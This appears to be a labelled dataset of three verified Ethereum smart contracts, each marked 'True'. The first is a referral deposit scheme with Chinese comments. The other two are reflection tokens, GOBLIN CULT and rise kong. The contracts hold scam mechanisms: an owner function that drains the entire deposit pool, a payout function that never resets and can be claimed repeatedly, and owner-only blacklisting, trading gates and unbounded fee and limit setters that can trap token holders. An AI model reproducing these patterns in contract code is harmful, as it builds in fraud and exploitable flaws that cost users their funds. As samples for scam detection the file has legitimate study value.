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/** *Submitted for verification at Etherscan.io on 2020-11-05 */ // SPDX-License-Identifier: MIT pragma experimental ABIEncoderV2; pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } contract ETH_3Day { using SafeMath for uint256; uint256 constant public CONTRACT_BALANCE_STEP = 3; address public manager; uint256 public day = 3 days; uint256 public rechargeTime; uint256 public minAmount = 1 ether; uint256 public percentage = 900; uint256 public totalUsers; address public ERC20; struct RechargeInfo{ address rec_addr; uint256 rec_value; uint256 rec_time; } RechargeInfo[] public rechargeAddress; struct UserInfo { address referrer; address[] directPush; uint256 amountWithdrawn; uint256 distributionIncome72; } mapping(address => UserInfo) public user; mapping(address => uint256) public balance; mapping(address => mapping(address => bool)) public userDireMap; constructor(address _token)public{ manager = msg.sender; ERC20 = _token; } // 充值 function deposit(address referrer,uint256 value) public { require(value >= minAmount,"Top up cannot be less than 1 eth"); // 验证72小时-分钱 distribution72(); IERC20(ERC20).transferFrom(msg.sender,address(this),value); UserInfo storage u = user[msg.sender]; // 当前用户没有上 && 推荐人不能是自己 if (u.referrer == address(0) && referrer != msg.sender) { // 添加上级 u.referrer = referrer; if (userDireMap[referrer][msg.sender] == false){ // 给上级添加当前下级 user[referrer].directPush.push(msg.sender); userDireMap[referrer][msg.sender] = true; } } if (balance[msg.sender] == 0){ totalUsers = totalUsers.add(1); } // 充值 balance[msg.sender] = balance[msg.sender].add(value); rechargeAddress.push(RechargeInfo({rec_addr:msg.sender,rec_value:value,rec_time:block.timestamp})); rechargeTime = block.timestamp; } // 提币 function withdraw(uint256 value) public { require(value > 0 && directPushMultiple(msg.sender) >= 3,"3 times withdrawal"); // 验证是否有足够提取额度 uint256 count = availableQuantity(msg.sender); require(count >= value,"Not enough quota"); // 提币 IERC20(ERC20).transfer(msg.sender,value); user[msg.sender].amountWithdrawn = user[msg.sender].amountWithdrawn.add(value); } // pool 总量 function getPoolETH() view public returns(uint256){ return IERC20(ERC20).balanceOf(address(this)); } // 充值总笔数 function getRecTotal() view public returns(uint256){ return rechargeAddress.length; } // 最后10笔交易 function getRec10() view public returns(RechargeInfo[] memory){ uint256 l = rechargeAddress.length; uint256 a = 0; uint256 i = 0; if (rechargeAddress.length>10){ l = 10; a = rechargeAddress.length.sub(10); } RechargeInfo[] memory data = new RechargeInfo[](l); for (;a < rechargeAddress.length; a++){ data[i] = rechargeAddress[a]; i = i+1; } return data; } // 超过72小时分币 function distribution72() public { if (isTime() == false){return;} uint256 a = 0; if (rechargeAddress.length>50){ a = rechargeAddress.length.sub(50); } uint256 total = (IERC20(ERC20).balanceOf(address(this)).mul(percentage)).div(uint256(1000)); for (;a < rechargeAddress.length; a++){ user[rechargeAddress[a].rec_addr].distributionIncome72 = user[rechargeAddress[a].rec_addr].distributionIncome72.add(total.div(100)); } return; } // 当前时间是否大于 72 小时 function isTime()view public returns(bool) { if ((block.timestamp.sub(rechargeTime)) >= day && rechargeTime != 0){ return true; } return false; } // 直推倍数 function directPushMultiple(address addr) view public isAddress(addr) returns(uint256) { if(balance[addr] == 0){ return 0; } return getDirectTotal(addr).div(balance[addr]); } // 最大收益 function getMaxIncome(address addr) view public isAddress(addr) returns(uint256){ return directPushMultiple(addr).mul(balance[addr]); } // 当前收益 function getIncome(address addr) view public isAddress(addr) returns(uint256){ uint256 multiple = directPushMultiple(addr); if (multiple == 0){ return 0; } if (multiple > 3){ multiple = 3; } return balance[addr].mul(multiple); } // 当前已提取数量 function numberWithdrawn(address addr) view public isAddress(addr) returns(uint256) { return user[addr].amountWithdrawn; } // 当前可提取数量 function availableQuantity(address addr) view public isAddress(addr) returns(uint256) { if (directPushMultiple(addr) < 3){ return 0; } return getIncome(addr).sub(numberWithdrawn(addr)); } // 追投计算 (直推总额 - (本金 * 3)) / 3 追投数量，获得金额 function additionalThrow(address addr) view public isAddress(addr) returns(uint256,uint256){ // 直推总额 uint256 dirTotal = getDirectTotal(addr); // 用户当前收益 uint256 userTotal = getIncome(addr); // 追投数量 uint256 ztAmount = (dirTotal.sub(userTotal)).div(CONTRACT_BALANCE_STEP); // uint256 t = ztAmount.div(CONTRACT_BALANCE_STEP); return (ztAmount,ztAmount.mul(CONTRACT_BALANCE_STEP)); } // 获取下级充值总额 function getDirectTotal(address addr) view public isAddress(addr) returns(uint256) { UserInfo memory u = user[addr]; if (u.directPush.length == 0){return (0);} uint256 total; for (uint256 i= 0; i<u.directPush.length;i++){ total += balance[u.directPush[i]]; } return (total); } // 72收益领取 function distributionIncome72()public{ require(user[msg.sender].distributionIncome72 > 0); IERC20(ERC20).transfer(msg.sender,user[msg.sender].distributionIncome72); } // 获取用户下级 function getDirectLength(address addr) view public isAddress(addr) returns(uint256){ return user[addr].directPush.length; } // Owner 提币 function ownerWitETH(uint256 value) public onlyOwner{ require(getPoolETH() >= value); IERC20(ERC20).transfer(msg.sender,value); } // 权限转移 function ownerTransfer(address newOwner) public onlyOwner isAddress(newOwner) { manager = newOwner; } modifier isAddress(address addr) { require(addr != address(0)); _; } modifier onlyOwner { require(manager == msg.sender); _; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-10 */ //t.me/goblincult // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract GCULT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "GOBLIN CULT"; string private constant _symbol = "GCULT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 10000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-23 */ /** Telegram: https://t.me/RISEKONG */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract risekong is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "rise kong"; string private constant _symbol = "RISEKONG"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999999999999999 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xdC83bE85D5852c34ff0753942b3fe96A8a199Ec6); address payable private _marketingAddress = payable(0xdC83bE85D5852c34ff0753942b3fe96A8a199Ec6); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 9999999999999 * 10**9; //1% uint256 public _maxWalletSize = 999999999999 * 10**9; //1% uint256 public _swapTokensAtAmount = 9999999999999 * 10**9; //1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

True

